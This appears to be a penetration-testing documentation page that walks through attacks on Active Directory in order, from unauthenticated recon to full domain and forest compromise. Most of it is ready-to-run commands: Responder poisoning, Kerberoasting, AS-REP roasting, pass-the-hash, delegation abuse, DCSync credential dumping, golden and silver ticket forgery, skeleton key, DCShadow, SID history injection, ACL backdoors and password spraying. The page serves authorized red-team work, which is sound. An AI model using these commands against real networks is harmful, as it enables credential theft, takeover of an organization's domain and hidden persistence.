Skip to main content

Overview

Active Directory (AD) is the identity and access management backbone of most enterprise Windows environments. Compromising AD often means compromising the entire organization. This page follows the AD attack methodology from initial unauthenticated recon through full domain/forest compromise.
This content is for authorized penetration testing and red team operations only. AD attacks are highly impactful and should only be performed with explicit written authorization.

AD Structure Fundamentals

Active Directory organizes network resources into:
ConceptDescription
ObjectUsers, groups, computers, shared folders
DomainContainer of objects sharing a common database
TreeGroup of domains sharing a common root
ForestCollection of trees with trust relationships
OUOrganizational Unit — sub-container within a domain
GPOGroup Policy Object — policy applied to OUs
AD Domain Services (AD DS) components:
  • Domain Services — centralized auth and directory
  • Certificate Services — PKI management
  • Federation Services — SSO across applications
  • Rights Management — DRM for content
  • DNS Service — name resolution for the domain

Phase 1: Unauthenticated Recon

1

Network Enumeration

# Discover domain controllers and machines
netexec smb <cidr>
gobuster dns -d domain.local -t 25 -w /opt/Seclist/Discovery/DNS/subdomain-top2000.txt

# Generate /etc/hosts entries
netexec smb 10.2.10.0/24 --generate-hosts-file hosts
cat hosts /etc/hosts | sponge /etc/hosts
2

SMB Null and Guest Enumeration

enum4linux -a -u "" -p "" <DC IP>
enum4linux -a -u "guest" -p "" <DC IP>
smbmap -u "" -p "" -P 445 -H <DC IP>
smbclient -U '%' -L //<DC IP>
3

LDAP Anonymous Enumeration

nmap -n -sV --script "ldap* and not brute" -p 389 <DC IP>
4

User Enumeration

# Kerbrute — valid usernames via KRB5KDC_ERR_C_PRINCIPAL_UNKNOWN
./kerbrute_linux_amd64 userenum -d lab.ropnop.com --dc 10.10.10.10 usernames.txt

# Nmap Kerberos enumeration
nmap -p 88 --script=krb5-enum-users --script-args="krb5-enum-users.realm='DOMAIN'" <IP>

# CrackMapExec
crackmapexec smb domain.local -u '' -p '' --users | awk '{print $4}' | uniq
5

Network Poisoning (LLMNR/NBT-NS)

Gather NTLMv2 hashes by impersonating services with Responder:
sudo responder -I eth0 -wrf

Phase 2: Authenticated Enumeration

Once you have valid credentials or a session:
# BloodHound collection (comprehensive graph-based enumeration)
bloodhound-python -u <user> -p <pass> -d domain.local -c all --zip

# PowerView enumeration
Get-DomainUser
Get-DomainComputer
Get-DomainGroup
Get-DomainGPO

# Extract all domain usernames
net user /domain
Get-DomainUser | select -ExpandProperty samaccountname

# Enumerate domain admins
Get-DomainGroupMember "Domain Admins"

Kerberoasting

Request TGS tickets for service accounts and crack the RC4 encryption offline:
# Python (Impacket)
GetUserSPNs.py -dc-ip <dc_ip> -request <domain>/<user> -outputfile roastable_TGS

# Rubeus
.\Rubeus.exe kerberoast /outfile:hashes.txt

# Crack with hashcat
hashcat -m 13100 hashes.txt wordlist.txt

ASREPRoasting

Request AS-REP for accounts with DONT_REQ_PREAUTH set:
GetNPUsers.py <domain>/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt
hashcat -m 18200 asrep_hashes.txt wordlist.txt

Hash Shucking (NT-Candidate Attacks)

Use an NT hash corpus to crack slower formats without knowing the plaintext:
# Build NT hash corpus via DCSync
secretsdump.py <domain>/<user>@<dc_ip> -just-dc-ntlm -history -outputfile dump
grep -i ':::' dump.ntds | awk -F: '{print $4}' | sort -u > nt_candidates.txt

# Shuck Kerberoast RC4 tickets
hashcat -m 35300 roastable_TGS nt_candidates.txt

# Shuck DCC2 cached credentials
hashcat -m 31600 dcc2_hashes.txt nt_candidates.txt

# Shuck NetNTLMv2
hashcat -m 27100 netntlm_hashes.txt nt_candidates.txt
Hash TypeNT-Candidate Mode
DCC (Domain Cached Credentials)31500
DCC231600
NetNTLMv127000
NetNTLMv227100
Kerberos RC4 TGS35300
Kerberos RC4 AS-REP35400

Pass-the-Hash / Pass-the-Ticket

# Pass-the-Hash
crackmapexec smb --local-auth 10.10.10.0/23 -u administrator -H <hash> | grep +

# Over-Pass-The-Hash (request Kerberos TGT from NT hash)
.\Rubeus.exe asktgt /user:<user> /rc4:<hash> /ptt

# Pass-the-Ticket
[IO.File]::WriteAllBytes("ticket.kirbi", [Convert]::FromBase64String("<BASE64_TICKET>"))
.\Rubeus.exe ptt /ticket:ticket.kirbi

Delegation Attacks

Any computer with ADS_UF_TRUSTED_FOR_DELEGATION attribute stores TGTs of all authenticating users in memory:
# Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained

# Dump TGTs from memory if you have admin on the target
.\Rubeus.exe monitor /interval:5 /nowrap
Get-DomainUser -TrustedToAuth
Get-DomainComputer -TrustedToAuth

# Request service ticket for any user
getST.py -spn <target_spn> -impersonate Administrator <domain>/<constrained_user>:<pass>
Requires WRITE privilege on target computer object:
# Add our computer as allowed to delegate
Set-DomainObject -Identity <target_computer> -Set @{'msds-allowedtoactonbehalfofotheridentity'=...}

# Request service ticket impersonating Domain Admin
getST.py -spn cifs/<target> -impersonate Administrator <domain>/<attacker_computer>$:<pass>

Post-Exploitation with DA Privileges

DCSync — Domain Credential Dump

# Impacket secretsdump
secretsdump.py <domain>/DA_user@<DC_IP>

# Mimikatz
lsadump::dcsync /user:krbtgt
lsadump::dcsync /all /csv

Golden Ticket

Forge TGTs using the krbtgt hash — valid for all domain accounts:
# Get krbtgt hash via DCSync
lsadump::dcsync /user:krbtgt

# Forge golden ticket (mimikatz)
kerberos::golden /user:Administrator /domain:domain.local \
  /sid:<domain_SID> /krbtgt:<krbtgt_hash> /ptt

Silver Ticket

Forge TGS for a specific service using the service account’s hash:
kerberos::golden /user:Administrator /domain:domain.local \
  /sid:<domain_SID> /target:<service_host> /service:cifs \
  /rc4:<service_account_hash> /ptt

Skeleton Key

Patch LSASS to allow any user to authenticate with a universal password:
misc::skeleton
# Now anyone can log in with password "mimikatz"

DCShadow

Register a rogue Domain Controller to push attribute changes without AD audit logs:
# Requires DA rights in root domain
lsadump::dcshadow /push

Domain Trust Escalation

Enumerate Trust Relationships

Get-DomainTrust
nltest /domain_trusts /all_trusts /v

# Find foreign security principals
Get-DomainForeignUser
Get-DomainForeignGroupMember

SID History Injection (Child → Parent Escalation)

# Requires krbtgt hash of child domain
kerberos::golden /user:Administrator /domain:child.domain.local \
  /sid:<child_domain_SID> /krbtgt:<child_krbtgt_hash> \
  /sids:<parent_domain_enterprise_admins_SID> /ptt

ACL-Based Persistence

After compromise, grant DCSync or other privileges for future access:
# Grant DCSync to a user
Add-DomainObjectAcl -TargetIdentity "DC=DOMAIN,DC=LOCAL" \
  -PrincipalIdentity backdoor_user -Rights DCSync

# Make user Kerberoastable
Set-DomainObject -Identity <user> -Set @{serviceprincipalname="fake/NOTHING"}

# AdminSDHolder persistence
# Modify AdminSDHolder ACL — propagated every 60 minutes to all protected groups

Password Spraying

Once you have a list of valid usernames, try common passwords — carefully respecting lockout policies:
# Kerbrute password spray (Kerberos — faster, less noisy than LDAP)
kerbrute passwordspray -d domain.local --dc <DC_IP> users.txt 'Password123!'

# NetExec (SMB)
netexec smb <DC_IP> -u users.txt -p 'Summer2024!' --continue-on-success

# NetExec (LDAP)
netexec ldap <DC_IP> -u users.txt -p 'Password1' --continue-on-success

# OWA spray via MailSniper
Invoke-PasswordSprayOWA -ExchHostname <ip> -UserList valid.txt -Password 'Summer2024!'
Check the domain password policy before spraying to avoid account lockouts: Get-DomainPolicy or net accounts /domain

Hash Cracking Reference

After capturing hashes, crack them offline with hashcat:
Hash TypeHashcat Mode
NTLM1000
NetNTLMv15500
NetNTLMv25600
Kerberoast (TGS-REP)13100
AS-REP Roast18200
DCC (Domain Cached Credentials)1100
DCC2 (MS-CACHE v2)2100
# Crack NetNTLMv2
hashcat -m 5600 hashes.txt /usr/share/wordlists/rockyou.txt --rules-file /usr/share/hashcat/rules/best64.rule

# Crack Kerberoast TGS
hashcat -m 13100 tgs_hashes.txt /usr/share/wordlists/rockyou.txt

# Crack AS-REP hashes
hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt

References

Build docs developers (and LLMs) love